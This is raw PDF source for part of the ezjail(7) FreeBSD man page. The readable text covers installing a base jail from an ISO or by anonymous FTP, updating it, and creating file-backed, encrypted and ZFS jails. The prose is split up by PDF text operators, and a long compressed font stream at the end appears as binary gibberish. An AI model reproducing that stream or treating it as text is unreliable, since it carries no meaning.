do)25(wnloaded)]TJ +/TT11 1 Tf +12.0004 0 TD +(disc1.iso)Tj +/TT6 1 Tf +5.6509 0 TD +(CDRom image )Tj +/TT9 1 Tf +6.2773 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le.)Tj +/TT11 1 Tf +-21.4848 -1.8 TD +(mdconfig -a -f /usr/8.0-RELEASE-i386-disc1.iso md0)Tj +0 -1.2 TD +(mount -v -t cd9660 /dev/md0 /mnt)Tj +T* +(cd /mnt/8.0-RELEASE)Tj +T* +(ezjail-admin install -h file:// -sm)Tj +/TT6 1 Tf +-3 -1.8 TD +(When the installation )Tj +/TT9 1 Tf +8.8032 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(nishes, use the follo)25(wing to release the)]TJ +/TT11 1 Tf +15.6933 0 TD +(disc1.iso )Tj +5.651 0 TD +(md0)Tj +/TT9 1 Tf +2.0503 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le.)Tj +/TT11 1 Tf +-30.3101 -1.8 TD +(cd /usr)Tj +0 -1.2 TD +(umount /mnt)Tj +T* +(mdconfig -d -u md0)Tj +/TT6 1 Tf +-7.1 -1.8 TD +(Install from a local directory)Tj +4.1 -1.2 TD +0.0174 Tw +[(T)80(o)80( )-80(fetch the RELEASE base )]TJ +/TT9 1 Tf +11.7536 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0174 Tw +[(les manually)65(,)-267.4(create a)]TJ +/TT11 1 Tf +8.9167 0 TD +0 Tw +(.netrc)Tj +/TT9 1 Tf +3.868 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0175 Tw +(le in your home directory and pop-)Tj +-25.6506 -1.2 TD +0 Tw +(ulate it with this.)Tj +/TT11 1 Tf +3 -1.8 TD +(machine ftp2.jp.FreeBSD.org)Tj +0 -1.2 TD +(login anonymous)Tj +T* +(password FBSD@home.com)Tj +T* +(macdef init)Tj +T* +(prompt off)Tj +T* +(cd /pub/FreeBSD/releases/i386/8.0-RELEASE)Tj +T* +(epsv4 off)Tj +T* +[($)-600(getdir base kernels manpages src)]TJ +T* +(quit)Tj +T* +(macdef getdir)Tj +T* +[(!)-600(mkdir $i)]TJ +T* +(mreget $i/)Tj +/TT14 1 Tf +6.001 0 TD +<009b>Tj +/TT6 1 Tf +-9.001 -1.8 TD +0.0818 Tw +[(Then issue this command on the command line. If the FTP do)25(wnload times out re-issue the FTP)]TJ +0 -1.2 TD +-0.0001 Tc +0.0001 Tw +[(command again to resume where it left of)24.9(f.)]TJ +/TT11 1 Tf +3 -1.8 TD +0 Tc +0 Tw +(mkdir /usr/8.0-RELEASE)Tj +0 -1.2 TD +(cd /usr/8.0-RELEASE)Tj +T* +(ftp -v ftp2.jp.FreeBSD.org)Tj +T* +(ezjail-admin install -h file:// -sm)Tj +/TT6 1 Tf +-10.1 -4.8 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(6)]TJ +ET +endstream +endobj +29 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT3 18 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT8 7 0 R +/TT9 8 0 R +/TT11 9 0 R +/TT14 26 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +31 0 obj +<< +/Length 8340 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +7.1 -4.8 TD +0.0468 Tw +[(Use this option to tar)18(get the 8.0-RELEASE )]TJ +/TT9 1 Tf +17.8628 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0468 Tw +(les you FTPed as the source of the running binaries)Tj +-18.419 -1.2 TD +0.0222 Tw +(used to populate the base jail. In addition the man pages and sources will be installed into the base)Tj +T* +0 Tw +(jail.)Tj +/TT2 1 Tf +-5.9 -2.4 TD +0.0625 Tw +[(Fr)18(om Sour)18(ce Installation and Update)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0 Tw +(The)Tj +/TT4 1 Tf +1.8663 0 TD +(update)Tj +/TT6 1 Tf +3.9122 0 TD +0.0617 Tw +(is used to both install or update from source the base jail, and for updating the base jail from)Tj +-5.7785 -1.2 TD +0 Tw +(binary packages.)Tj +/TT4 1 Tf +0 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(update)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(b)Tj +/TT6 1 Tf +-8.3186 -1.2 TD +0.1178 Tw +[(Build and install a w)10(orld from source. The sources are tak)10(en from)]TJ +/TT11 1 Tf +27.9692 0 TD +0 Tw +(/usr/src)Tj +/TT6 1 Tf +5.1686 0 TD +0.1178 Tw +[(\(b)20(ut see the)]TJ +/TT3 1 Tf +5.3594 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT9 1 Tf +-39.0973 -1.2 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.062 Tw +(ag\). This can be used both for creating the initial base jail, and for updating it after the host has)Tj +-0.5562 -1.2 TD +0 Tw +(been upgraded.)Tj +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(update)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(u)Tj +/TT6 1 Tf +-8.3186 -1.2 TD +0.0418 Tw +[(Update the base jail to the ne)15(xt release using)]TJ +/TT11 1 Tf +18.4389 0 TD +0 Tw +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.0418 Tw +(\(8\) \(i.e. using binary packages\).)Tj +-26.8403 -1.2 TD +0 Tw +[(This may be used only to update an e)15(xisting installation.)]TJ +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(update)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(U )Tj +/TT3 1 Tf +1.3668 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(8.0-RELEASE)Tj +/TT6 1 Tf +-11.4855 -1.2 TD +0.0237 Tw +[(Upgrade the base jail to the host system)55(s)-273.7(release using)]TJ +/TT11 1 Tf +22.5096 0 TD +0 Tw +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.0237 Tw +(\(8\). This may be used)Tj +-30.911 -1.2 TD +0.1517 Tw +[(only to upgrade an e)15(xisting installation. T)70(ell freebsd-update which OS v)15(ersion to e)15(xpect in the)]TJ +T* +0 Tw +(basejail via the)Tj +/TT3 1 Tf +6.4142 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT6 1 Tf +1.2001 0 TD +(option.)Tj +-8.2144 -1.8 TD +0.0405 Tw +(Note: Check)Tj +/TT11 1 Tf +5.3574 0 TD +0 Tw +(uname)Tj +/TT6 1 Tf +3.0005 0 TD +0.0405 Tw +(\(1\) and especially the)Tj +/TT11 1 Tf +8.9916 0 TD +0 Tw +(UNAME_r)Tj +/TT6 1 Tf +4.4912 0 TD +0.0405 Tw +[(en)40(vironment v)25(ariable to upgrade to dif)25(ferent)]TJ +-21.8406 -1.2 TD +0 Tw +[(v)15(ersions.)]TJ +/TT2 1 Tf +-5.9 -2.4 TD +0.0625 Tw +[(J)15(ail Cr)18(eation Examples)]TJ +/TT4 1 Tf +1.8 -1.2 TD +0 Tw +(ezjail-admin )Tj +7.4513 0 TD +(create)Tj +/TT8 1 Tf +4.2006 0 TD +(www.example.com 10.0.10.1)Tj +/TT6 1 Tf +-7.5519 -1.2 TD +0.1052 Tw +[(Create a ne)25(w)-355.2(jail. The jail )]TJ +/TT9 1 Tf +11.1848 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1052 Tw +(les will reside in directory)Tj +/TT11 1 Tf +11.2173 0 TD +0 Tw +(www_example_com)Tj +/TT6 1 Tf +9.3566 0 TD +(in)Tj +/TT11 1 Tf +1.1329 0 TD +(/usr/jails)Tj +/TT6 1 Tf +6.001 0 TD +(,)Tj +-39.4487 -1.2 TD +0.0244 Tw +[(unless the v)25(ariable )]TJ +/TT11 1 Tf +8.1839 0 TD +0 Tw +($ezjail_jaildir)Tj +/TT6 1 Tf +9.0015 0 TD +0.0244 Tw +[()-274.4(has been set to some other v)25(alue. The jail will only be)]TJ +-17.1854 -1.2 TD +0.0695 Tw +[(allo)25(wed to use the gi)25(v)15(e)0(n)-319.6(I)0(P)-319.6(address. A w)10(arning will be displayed if this IP address is not already)]TJ +T* +0 Tw +(con)Tj +/TT9 1 Tf +1.4438 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0655 Tw +[(gured in the host, or if some netw)10(ork daemon is already listening on this address. The name)]TJ +-2 -1.2 TD +0.2352 Tw +(of the jail which will appear in the)Tj +/TT4 1 Tf +15.8772 0 TD +0 Tw +(list)Tj +/TT6 1 Tf +2.8856 0 TD +0.2351 Tw +[(command or which will need to be gi)25(v)15(e)0(n)-485.1(t)0(o)-485.1(the)]TJ +/TT4 1 Tf +-18.7628 -1.2 TD +0 Tw +(console)Tj +/TT6 1 Tf +4.4507 0 TD +(command is)Tj +/TT8 1 Tf +5.1104 0 TD +(www.example.com)Tj +/TT6 1 Tf +9.0015 0 TD +(.)Tj +/TT4 1 Tf +-22.6625 -1.8 TD +1.0528 Tw +(ezjail-admin create)Tj +/TT3 1 Tf +14.6241 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT8 1 Tf +2.6029 0 TD +(example)Tj +/TT3 1 Tf +6.3701 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +2.6029 0 TD +1.4028 Tw +(webserver www.example.com)Tj +-23.3001 -1.2 TD +0 Tw +(10.0.10.2,2001:db8:1:9243::80)Tj +/TT6 1 Tf +T* +0.0101 Tw +[(Create a ne)25(w)-260.1(jail, placing it in directory)]TJ +/TT11 1 Tf +16.1886 0 TD +0 Tw +(webserver)Tj +/TT6 1 Tf +5.661 0 TD +0.0101 Tw +[(instead of deri)25(ving the directory name of the)]TJ +-21.8496 -1.2 TD +0.0138 Tw +[(jail from its host name.)-513.9(The jail will be created with the )]TJ +/TT9 1 Tf +22.8819 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5561 0 TD +[(a)20(v)20(our)]TJ +/TT8 1 Tf +2.5007 0 TD +(example)Tj +/TT6 1 Tf +4.2007 0 TD +0.0138 Tw +[(.)-513.8(This jail will be gi)25(v)15(e)0(n)]TJ +-30.1394 -1.2 TD +0 Tw +[(tw)10(o)-250(I)0(P)-250(addressses; this is possible only since FreeBSD 7.2.)]TJ +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(create)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i )Tj +/TT3 1 Tf +1.3668 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(600M sandbox2 10.0.10.4)Tj +/TT6 1 Tf +-11.4855 -1.2 TD +0.869 Tw +[(This creates a ne)25(w)]TJ +/TT9 1 Tf +11.1142 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.8691 Tw +[(le-based jail ha)20(ving a )]TJ +/TT9 1 Tf +12.2308 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +-0.0002 Tc +0.8693 Tw +[(le size of 600 me)14.8(gabytes in)]TJ +/TT11 1 Tf +-24.4573 -1.2 TD +0 Tc +0 Tw +(/usr/jails/sandbox2.img)Tj +/TT6 1 Tf +13.8022 0 TD +0.0613 Tw +[(.)-561.3(A)0(n)-311.3(empty directory)65(,)]TJ +/TT11 1 Tf +9.2613 0 TD +0 Tw +(/usr/jails/sandbox2)Tj +/TT6 1 Tf +11.4019 0 TD +0.0613 Tw +[(,)-311.3(will be cre-)]TJ +-34.4653 -1.2 TD +0 Tw +(ated, and used as a mount point when starting the jail.)Tj +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(create)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c bde)Tj +/TT3 1 Tf +3.7671 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(600M sandbox3 10.0.10.5)Tj +/TT6 1 Tf +-13.8858 -1.2 TD +0.2102 Tw +[(This creates a ne)25(w)]TJ +/TT9 1 Tf +8.4789 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2102 Tw +(le based image jail, with)Tj +/TT11 1 Tf +11.0481 0 TD +0 Tw +(gbde)Tj +/TT6 1 Tf +2.4004 0 TD +0.2102 Tw +(\(4\) encryption. During the gbde creation)Tj +-22.4835 -1.2 TD +0.0567 Tw +[(process you are ask)10(ed to enter a passphrase that is used as the prime seed v)25(alue of the encryption)]TJ +T* +0.0585 Tw +[(process. )-250(Remember)-308.5(this passphrase, you will be ask)10(ed for the passphrase e)25(v)15(ery time you w)10(ant to)]TJ +T* +0.1061 Tw +[(start this jail. As the)15(y)-356.2(require administrator interaction, jails back)10(ed by an encrypted )]TJ +/TT9 1 Tf +35.2054 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1061 Tw +(le are not)Tj +-35.7615 -1.2 TD +0 Tw +(automatically started when the system boots.)Tj +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(create)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c)Tj +/TT8 1 Tf +1.2001 0 TD +(zfs)Tj +/TT3 1 Tf +2.5669 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(1G sandbox4 em1\\|10.0.10.6)Tj +/TT6 1 Tf +-13.8857 -1.2 TD +0.039 Tw +[(This creates a ne)25(w)-289(zfs )]TJ +/TT9 1 Tf +9.2491 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +-0.0001 Tc +0.0391 Tw +[(lesystem based jail with a def)9.9(ault quota of 1 gigabyte using lzjb compres-)]TJ +-9.8053 -1.2 TD +0 Tc +0.0134 Tw +(sion. It uses the parent ZFS )Tj +/TT9 1 Tf +11.2738 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0134 Tw +(lesystem con)Tj +/TT9 1 Tf +5.2068 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0134 Tw +(gured in the )Tj +/TT11 1 Tf +5.5104 0 TD +0 Tw +($ezjail_jailzfs)Tj +/TT6 1 Tf +9.0015 0 TD +0.0133 Tw +[()-263.4(v)25(ariable to create)]TJ +-32.1047 -1.2 TD +0 Tw +(the )Tj +/TT9 1 Tf +1.4844 0 TD +()Tj +/TT6 1 Tf +0.5561 0 TD +0.0127 Tw +[(lesystem in. The jail command will add the ip address 10.0.10.6 as an alias on the de)25(vice em1)]TJ +-9.1405 -4.8 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(7)]TJ +ET +endstream +endobj +32 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT3 18 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT8 7 0 R +/TT9 8 0 R +/TT11 9 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +34 0 obj +<< +/Length 1838 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +7.1 -4.8 TD +0 Tw +(before starting the jail.)Tj +/TT2 1 Tf +-7.1 -2.4 TD +(FILES)Tj +/TT11 1 Tf +3 -1.2 TD +(EZJAIL_PREFIX/bin/ezjail-admin)Tj +T* +(EZJAIL_PREFIX/etc/rc.d/ezjail)Tj +T* +(EZJAIL_PREFIX/etc/ezjail.conf)Tj +T* +(EZJAIL_PREFIX/share/examples/ezjail/)Tj +T* +(EZJAIL_PREFIX/etc/ezjail/)Tj +/TT14 1 Tf +15.0024 0 TD +<009b>Tj +/TT11 1 Tf +-15.0024 -1.2 TD +(/usr/etc/fstab.)Tj +/TT14 1 Tf +9.0015 0 TD +<009b>Tj +/TT2 1 Tf +-12.0015 -2.4 TD +0.1666 Tw +(SEE ALSO)Tj +/TT11 1 Tf +3 -1.2 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +(\(8\),)Tj +/TT11 1 Tf +1.666 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +(\(5\),)Tj +/TT11 1 Tf +1.666 0 TD +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(8\),)Tj +/TT11 1 Tf +1.666 0 TD +(nullfs)Tj +/TT6 1 Tf +3.6006 0 TD +(\(4\),)Tj +/TT11 1 Tf +1.666 0 TD +(zfs)Tj +/TT6 1 Tf +1.8003 0 TD +(\(8\).)Tj +-28.2676 -1.8 TD +(Interesting additional tools include: )Tj +/TT11 1 Tf +14.8853 0 TD +(ports-mgmt/jailaudit)Tj +/TT6 1 Tf +12.0019 0 TD +(.)Tj +/TT2 1 Tf +-29.8872 -2.4 TD +[(A)50(UTHOR)]TJ +/TT6 1 Tf +3 -1.2 TD +(Dirk Engling)Tj +/TT14 1 Tf +5.4995 0 TD +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +[(erdgeist@erdgeist.or)18(g)]TJ +/TT14 1 Tf +8.817 0 TD +<009c>Tj +/TT6 1 Tf +0.3291 0 TD +(.)Tj +-14.9747 -1.8 TD +0.0755 Tw +(The man page is based on a draft by JoeB)Tj +/TT14 1 Tf +17.6944 0 TD +0 Tw +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +[(joeb1@a1po)25(weruser)55(.com)]TJ +/TT14 1 Tf +10.1431 0 TD +<009c>Tj +/TT6 1 Tf +0.6545 0 TD +0.0754 Tw +[(and w)10(as re)25(written by Frederic Perrin)]TJ +/TT14 1 Tf +-28.8211 -1.2 TD +0 Tw +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +(frederic.perrin@resel.fr)Tj +/TT14 1 Tf +9.4707 0 TD +<009c>Tj +/TT6 1 Tf +0.3291 0 TD +(.)Tj +-13.1289 -43.8 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(8)]TJ +ET +endstream +endobj +35 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT6 6 0 R +/TT11 9 0 R +/TT14 26 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +10 0 obj +<< +/Type /ExtGState +/SA false +/SM 0.02 +/OP false +/op false +/OPM 1 +/BG2 /Default +/UCR2 /Default +/HT /Default +/TR2 /Default +>> +endobj +36 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 262151 +/FontBBox [-113 -250 749 801] +/FontName /JFOEBE+Courier-Bold +/ItalicAngle 0 +/StemV 133 +/XHeight 439 +/StemH 84 +/FontFile2 37 0 R +>> +endobj +37 0 obj +<< +/Filter /FlateDecode +/Length 24055 +/Length1 172192 +>> +stream +HMlgJycҀI8vbqK^qvb'vlNY׮v:i!@А4HLoB;pav$8p@!|W> >돫 xl*yŻ] _AոO~ϼxz++AͪgoߺJ7}_{c~ڹ_W~wܹu_߫w'?wUkY߱;?h=~|їe^c]wyÇ F|{.8U{Ͽ?k౿Ž[|/+? c[?Ƃ+qoW7?GG/I3yM~hyw}W ugz|7557{$:Fc ~c`lvxʸq]si= wC7|c׌]noe~f?GA0R0???????????C!?C!iiaa0?a0?G#?G#YYYYYYYYYYYYY(?GQ(?xb<1O'xb<1Ϝ98O'y<q8O'̻yp p p p p p ?ɟO'I$?LRNRNRNR΢E9r,Y(gQ΢3r,Yt&œIt[Jo)[Jo)tr.mK/mK/mIҲ2/c2/c2/LFΒ%9Kr,Y$gIΒ%9KrdwA'˓dy<YwrA;y9伃wrA;y9 伃z-佃wA;Ȼ3ygr +r +v+حS)蠠s ++ׂ +z[۲ޖegY۲ޖe-V"gEΊVmEo+z[۪VjU?mUoz[۪VʳƳ5mMokz[ۚ5`MoEV[QoEV/E"_/K%_/Ke2_/e2_W+ +_W+-------------*_WU*_oooooooooooook5_k5*............>>>}}}}}}}}}:_u:_7 o7 o7444444449s @΁3r9s @΁C9r9sC=Pχz>sK-=sK-=sK-=s[m=s[m=s[m=s[Gz>󑞏|########cccccccccccc~ܠwEw;w].wOOOOOOOOOOOOO{={=}>???????????????C!?C!?G#?GwyvIVU_(Yx <+ԕs +2bV@$%)DE%^k^m׶?>ws_ %? 1c? q?8q? 'O? 'O?$I'O? +)SO? +)SO?4iO?43g? 3g?,Yg?,Y?9s?? y?<y /_ /O>E|)SħO">E|)SħO >%|J)S§O<%|J2>e|)SƧO2>e|SO +>P +>|*T +Ya?gU~V*Ye?g_ſ 5k_ÿ 5k_e_e_e_ǿ:u_ǿ: 7o 7o&yiI&yiI&yiE1-"O<-"O<-"O<mܦmܦmܦmܦmܦmܦܡܡܡܡܡb:鰶.uR.q]ru%W\]ԻKl|]ūKͻS=ríG=zU=푷G#ǯOOlKK٧.}ۧ.2 n@kkPuu8.8dC8$ϐ<C!k= = |OC܆ 7"׈}#FtDk#bG9b#|8c|cُ1k;&vߘoe̷2&cj36NX 2.cz'tL؏ b'yJ}|kS:gJ)yO?%~J)SOqg?,0n،87'XX'l(l ;HvÄ.aG +;JŽv/a' +;INvӄ. ag +;KFag ;Gعv ](l],a +L®Yؕ®vk]+:a "aKb’R2²r +ŠJ*ªj–Յ55uu MM(>(g~.~-Na {Xc? {B_=%aO {Vs^U߄C߅,_)5a +{]lq/gW$>!3o {Dؗ}nYavlWf󾺊5_gOw}s;z*vVE}oUY~R+~,c¾8ςZ˦;$ ¾/ߕy|TVaʚG +GZUn~gk*e+q{[<\^yQrQ ^x=X{_~{߃E{sT'~+Wnv;NYυ=(!a!oֈ%,&y#ȼ? +N'yO-HXia0]xS؟5" ¾&~(~$gA(lar RN +)=+lga ¶m/]-la; +o-;3;3]&h}O߁0k 8Pa ;X!v#%Xa ;^dމk'KHf|smv0Â׌/X3Pb6 Hإ.v+mvk]+5׌H –ńŅ%eɛ0( ++ +  + [V66666vGrD䞉={f,*=CTz Q3DJ>"*=CTzMQr/EOIyvt[A5Ϯv<[^S^ωVsv6sx~>9Z4-lQEV^':Mv*6a C;%naW}/a +{H<"Qa {\ž=#Ya {^ ^W*5a {C؛m[%"wBDU"rD<y "oQŽv0yDyqm#gg(A(A(wC(A(A0BBIʽʽʽ lGaCrGUnv=IJ}J+l?ao(l0Bm&F(F(F(F(F(F(F(F(F(F(F(F(F(Fx0iBkCkCS*LzPz ag +;KFag ;Gع&}(={x0Ë],a +L®Yؕ®vk]+LF-n$,&,.,!,),%?yxTs3R&(Xr9whH UR] $ QDDFDEDD +! +Mh[b6bo9y?ff^`cn V +6l<XX9`7Ml2J`U +v4`3fl6`s l.<`  `-l)`�X-؃`[8'ւ= س`{l=:`/m =G`?{f`?)^{ `v :`{5AC`G; Q5Ĉ <+k9/4e&~e2Z rf9d`VRW412̭ᾫᾦ>kzأ`+{{>ׁ= UCo?�~_iqzPC/ ~A_WDi03` �XkO4X.gڂv:X;`g}L0SI?K � +`W]v-`_6lhRq`&MV6l +X%T*i`fV v;ܻ^W`qf\, 0 +̮A`+ )@>`O )-r\)0W +̕O` `Kf9S`z`NR3L*00IfRy fR '0uN 5&*� 3+0 +̸3dhZ[`o`�.a#X؟>�;Y^ e`' +!X3G``�; I+ |o |o |o:u XX̂E`I"z y.�"`0[ VR0@A``0`_�"`_ +a`W  +`#`50a ̰fXs̵Zs\k -o�6lh1`7+6 lD& Vk˝�{ p.8!8!![! ! !!!p'rv7~  x0!d2z;B!{C!dwg C!g4d` +5Xg l!?[r\lsk ~s``g�j!Zȭr=\`} Zȼ2k!Zȼb0ȷ|k!A`o-[ Be-dY YBe-dY YBe-dY; ,k!ZȲ,k!Zȷ,k!ZȲ,k!ڑ`e-dY YB)-dJ B)md)`U +v4`3f mg6No-l=`[8v ؓ`k b{l=F0i,4MA SF#Ȋd2`^ ,e:`drU'|A.<}7>AGcG#zz==>A_Fo#m}4 M|?�Vt2J�,׳L`gLt`tzԫyan2j*Gkreiqj:^W7W_S:WM32*ߐYJx]F5 w j j>m?&gvy:=m}W R#p}O6A֒] +ZTCM^?$d`oN�˾/g'=wɾ J?PeNjjչ^e¶^Ϋ{^;{}:#}(:YNS;yug8{m9Wwsz 3']O ū b8XRs:w<tu; XWRWosor.w<RyRuՇ\}=߇nNՅJRuio^?^:x'wGzvrw<ؽ?OTŧحz[opk[+:˭z[Wu[׻/u[[wq>ղ +nireA{ (rl{0v˃^nppۭu=vۃ>v5n77v~n0v <;)IhR1-:W"ViQm#9jԎx]իsQU,RsMXnT{MjkHV}?qm1UgDYuzjүVUժPCgiϘ땱7?*1X+'gX"jIlMzGR 5.Ѩ +U{zE՛U�RrQj刮 3%AUkeij_q$TڢktB;jڜPqU$udj:{ )h[ ؆ZP)C!@`#_C G +PKc +c5eNE&LeFed,E)"F"2LP~{%/cgw޳g9YMn2kD+nօZicO(@84*+(RգT c3Jj1mW@_s&$EjW/yQ}'%8<Y#Z1M̀*ʏZytJ~Z+W }iT'`#N5U7Ru~v5rD94qR_@B R-z`rvѝʑWRe٦rI+֬$?P[fk.[cQ(YGkc!Gqe&6Zs/I O351. +T4,,7G41:x!3cnaI tV< JP-tV^&oǻoû~Mle G&}->` +g|KA@kAO2�d5p + @/{&犖M > $߲LJF +`1l`W)u:͠i #N`O+d=-ls!9|ҟu]h\alJa"$x`tb-l5h6q,}�^!y>I2-S~*ix-}v^ ]}KB{ŐO<G0OTO |i+ +-<F\(9ܐ:da11|$A&mO@<3IǍC:x &{]1#G d<}lc]\ C KXlr1sKz}5x.uFn;?v~*NcjwnF)lWT?jp#.ꝯu3 i.p0 fh:P /"q57>}KZuk]uZ~je˜>d+ N۝ ڶ+SP\~hS7]<& IP.hڍω@;z1ryQP3~n֜掴ZD_-5hg븧Ԭ=Vhg^jҨP?#߬K?-WwzULV+ތn&F\U}L3me g:Ju_z2oFe"W8u3s&w&-dNm琕١\y7|w+%ߚFI[篡OZ*ߒÇo` E5 +Uob0c[gz' ^$Fi4Bh;cc>DI 0&7Oސ?kh菁Tv`p [*SHD;Ņз!`hrN5oUk,qm] 5sg.rg\]3øzubô\ٖ~Jegi\q~S*!uw.o�W�?4z}EtOl+0.W:r+Bpgge/ u߂ ܹu;ކ i^<7?pP<縞]YML W<N&{u'b}T q˙gQK3'3([sqY}Gl}Z%'lX +x`,0竌&$;tNs^o8.e>Tksi +`Xb]yFPsQQ78IGP&RZtRh"J6RD[tm mfl1x Sz0G!ѢFy"]=i%J fKsfkeIjMD$j|VDwx}H"6B1�%o:h6CwSsyᜦU($T&t�iQ?2B9xw1-MHP_w?_Iǣ#,/ o3AZ ԯ.ij.}[*� 2pM9Lto=(`DJA;YS{x(`,zӀє꟤qxdr8x �}}I4~*ߥGUIO{@1l #k[jgO<"-%ށ8wa{Rq2N!Klp6h8SՉ;oj:O:SwG31f:d(1CϧbxGvg꒥ޓe$.NĻCOGzO/$N pJUt?Mm| guˑC2Y=;<Hg^XuuA/$.HL:>XL=Kջ?-#mZWk=|.Fez>ĕrjz/PC{=m6F!n9*C/FfU6:+_ +v0}JwFħ~{w<{:<_\vy>Fըxkzk?"Dmt]1T_LU {s}7r}#)d D AH@Q"5`<H n0՛_Sݯ_lmxfƍAmfһF-J=M1 ++_<cһFgCzw\[zA/%^߄{8}^UjY.c!To+[aľm)Ho)9e`qnXg^X',ļO<Ɵ1>d؟Y9ΰOlrv&r>α?3~fƯ<mfR>_RJ(EwK2~_7_J] MdRl??03Hˮ3Σ0p#cb##2, <ć1Ixrg2cJ{So"cZ_c,OtS.%䩀QgtJJe1f)]B[9%17`2F͌U<UmfVyWVujؾoRPXuy}ބ7 ݐ7 +ی7y-ja[ɹ5ov;(QΝCv{Xe{y7f{-50>RԽṙ|niDHcT63 򌳙q|HSj"'L+ԀiΘrLa#̐Y62#v<B/B.0q(+6v֏7 +~pX #vUad\m)Q9kcq.3 Hk#'&D1XXXؔ؞؉؋؏88888h}sQ"iPM!!%ƚ1*gV:PƨXVFVVrשqSœ`RuD+$SLL!ӈfn&KVk)*>O2Uy4tkls,OG2Ǚu#!馘 +&ަ8on!AYI"fb.1XXZ2Sy,1.*wt/t_KK_ bUR(ɪtwT{Gaz,A:MIezT_Obj+=+/6}.>!2f+Y_yH6PE!P]˯J//MT +\}š6#6' $"&!5UG +esZ\R--U:J'+z*I<ړlGGڻM\R`Hv.Įnf.qHB�|_<{p^CpW IGқ* ay~}#ٗ1�)fD^`P0pH(h*IsPQ1P�S3~96R/$G)l1*"j1tL߳J_A6b#N$N2=*R~}Mkn)$'wgggg*C4tY/9CyBpڛf)׮ن<ۡW|,:}{}́>x Uh7! ~8_>8q Gh> -:BIoFtbrjp|gS 